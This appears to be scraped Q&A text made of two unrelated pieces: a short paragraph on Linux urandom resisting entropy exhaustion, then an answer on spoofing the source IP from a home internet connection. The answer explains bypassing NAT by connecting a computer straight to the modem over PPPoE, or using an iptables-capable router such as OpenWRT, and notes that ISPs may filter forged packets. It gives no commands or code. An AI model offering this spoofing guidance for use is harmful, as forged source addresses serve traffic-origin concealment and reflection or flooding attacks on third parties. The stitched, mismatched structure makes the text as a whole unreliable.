The code behind the urandom block device, in any modern Linux kernel, is designed to be resistant against entropy pool exhaustion. Outside some very extreme and unrealistic scenarios there is no good reason to mess with the implementation or attempt to feed additional data into the entropy pool.


Spoofing the source IP from your home Internet connection

Remove the NAT...

If your Internet connection works like most do (any ADSL or Cable connection that I've seen so far), then there is an easy way to remove the NAT at your end:

remove the router and replace it with a modem, or just remove the router if the modem is a separate box. Some (most) routers even allow to operate like a modem; In that case you just have to switch that in software and not actually replace the hardware.
directly connect your computer to the modem
setup the connection to your ISP on your computer. Most likely this will be a PPPoE connection with some kind of username/password that you got from your ISP.
Your computer is now directly connected to the Internet, without a NAT, or any kind of firewall except of any software on your computer and whatever the ISP has in place.

...or let the router do the spoofing for you

There are also routers which could do the IP spoofing for you. Any device that runs iptables and lets you configure the rules should do. OpenWRT capable devices come to mind here.

Some problems you are more or less likely to run into

Even if you don't have any NAT at your end of the connection, the ISP may still have a NAT that you have to go through. Also the ISP may filter out packets coming from your computer that do not have the source IP they assigned to you.

Have I done something like this before?

Yes, I have done something like this on a multihomed server (so I was substituting one of my IPs for the other) and it didn't work because of the filtering described above.